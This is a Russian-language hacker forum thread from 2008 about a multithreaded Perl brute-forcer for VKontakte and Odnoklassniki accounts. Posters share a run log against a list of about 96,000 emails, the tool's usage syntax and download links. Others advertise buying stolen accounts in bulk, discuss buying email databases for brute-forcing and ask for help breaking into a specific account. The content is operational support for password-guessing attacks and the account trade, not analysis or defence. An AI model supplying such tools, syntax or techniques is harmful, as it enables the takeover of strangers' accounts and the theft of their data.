Это че такое!? :)

zavra
03.07.2008, 05:43
Еще вчера не банил контакт, сейчас после минуты брута идет банан :(

_Sniper_
05.07.2008, 23:08
C:\>vkont.pl 30 123456 emails.txt
Loading...
Loaded: 96482 emails.
Started at Sat Jul 5 22:01:21 2008
< 0.01% > complete< 0.03% > complete< 0.03% > complete< 0.03% > complete< 0.03%
> complete< 0.02% > complete< 0.02% > complete< 0.02% > complete< 0.02% > comple
te< 0.02% > complete< 0.02% > complete< 0.02% > complete< 0.02% > complete< 0.02
% > complete< 0.02% > complete< 0.01% > complete< 0.01% > complete< 0.01% > comp
lete< 0.01% > complete< 0.01% > complete< 0.01% > complete< 0.01% > complete< 0.
< 0.04% > complete< 0.04% > complete< 0.04% > complete< 0.04% > complete< 0.04%
< 0.05% > complete< 0.05% > complete< 0.05% > complete< 0.05% > complete< 0.05%
< 0.07% > complete< 0.07% > complete< 0.07% > complete< 0.07% > complete< 0.07%
> complete< 0.07% > complete< 0.07% > complete< 0.07% > complete< 0.07% > comple
< 0.08% > complete< 0.08% > complete< 0.08% > complete< 0.08% > complete< 0.08%
Terminating on signal SIGINT(2)plete|< 0.10% > complete
Такая лажа пошла =\ Не брутит что-то. Кто каким брутом брутит по диапазону мыл?

BuG_4F
06.07.2008, 00:06
Контакт не рабит ...
Сначала ддосили , а ща видать дураф его офф ....

Sharky
06.07.2008, 01:59
AlexV вот ты всё время просишь просишь...а самому не судьба подучить перл и прикрутить прокси или соксы

c0rp$e
06.07.2008, 02:49
а базы мыльников для брута вы где берете?:)

icq shell
06.07.2008, 08:22
а базы мыльников для брута вы где берете?:)
в инете:) или за 500р покупай...
один куй банить стали :(

_Sniper_
06.07.2008, 09:11
Что будем делать? =(((

Slipsaa
06.07.2008, 17:24
Народ кто сможет написать Брутер акков вконтакте (на заказ)?! В личку пишите иль в асю...8558124

geforse
10.07.2008, 19:02
А у меня ошибка :(
Loading...
Could not open mail list file! at e:\perl\brut\in.pl line 18.

В папке с *.pl лежит emails.txt и good.txt,,,там мыло одно и пароль...

Это только у меня ?

KaZ@NoVa
10.07.2008, 20:10
Многопоточный брутер вконтакте

Написан на перле, брутит заданным паролем по диапазону мыл.
Для работы необходим ActivePerl.

Синтаксис:
script.pl потоки пароль список_мыл


Скачать:
http://rapidshare.com/files/113740335/vkont.pl
http://stream.ifolder.ru/6493517

Для одноклассников:

http://rapidshare.com/files/115597614/odn.pl



Плюс аДын)) реально хороший брут)

Foxtrot1
11.07.2008, 00:41
МАССОВО СКУПАЮ АКИ ВКОНТАКТЕ от 1k и более, без каких либо ограничений по цифрам!!!
Обязательно всем стучать 363073422 у кого они есть!!!!

желательно перед продажей чекайте этим чекером http://forum.antichat.ru/showpost.php?p=764460&postcount=81

De-visible
11.07.2008, 09:45
МАССОВО СКУПАЮ АКИ ВКОНТАКТЕ от 1k и более, без каких либо ограничений по цифрам!!!
Обязательно всем стучать 363073422 у кого они есть!!!!

желательно перед продажей чекайте этим чекером http://forum.antichat.ru/showpost.php?p=764460&postcount=81
Это оффтоп, причем уже не однократный....

Shtil[27]
11.07.2008, 10:24
Это оффтоп, причем уже не однократный....
Где оффтоп? Поясни-ко онтечатовцам. А то получается накрутили тебе 700 с xуем репки и можно как крутой хэкэр без комментов писать?

>.:!FrE!:.<
22.07.2008, 03:48
Что всё? Доигрался х** на скрипке? Больше не пашет=((( Я Не успел к сожалению...

zavra
22.07.2008, 03:54
все пашет, проверь у себя наличие модуля hands.

deluxik
23.07.2008, 18:54
Что если пароль это какойто русский город или фамилия написанные англ. буквами?... В словарях вроде бы имен и городов русских нету?!... Как в таком случае быть?

Перепробовал кучу словарей и ничего не подходит!...

deluxik
23.07.2008, 23:55
Ребята, очень нужна помощь!... Нужно срочно открыть один акк!... Кто знает как это сделать?...

TheSoul
24.07.2008, 10:00
Попробуй так .... https://forum.antichat.ru/thread73009-%F4%E5%E9%EA+%E2%EA%EE%ED%F2%E0%EA%F2%E5.html

OMG!!
03.08.2008, 23:35
Может боян.. но как брутить чисто синг емайл по списку паролей?

mentalfuck
21.08.2008, 20:45
У меня перестал работать

SanekMoscow
17.09.2008, 13:49
как пользоваться , помогите

TheSoul
17.09.2008, 16:54
script.pl потоки пароль список_мыл

MaTpOc
17.09.2008, 18:14
У меня перестал работать

все работает, мб тя забанили

VKseller
06.10.2008, 22:14
Подскажите где можно взять многопоточный брутер одноклассников, так как тот каторый выложил автор уже неработает :(

Буня)))
27.10.2008, 21:40
Все хана бруту
там капчу поставили
ыыыыыыыыыыыыы((((((((

winntas
15.11.2008, 23:32
Kak eta wkliu4it??? :)

satana8920
15.11.2008, 23:36
Kak eta wkliu4it??? :)
все уже не включиться :D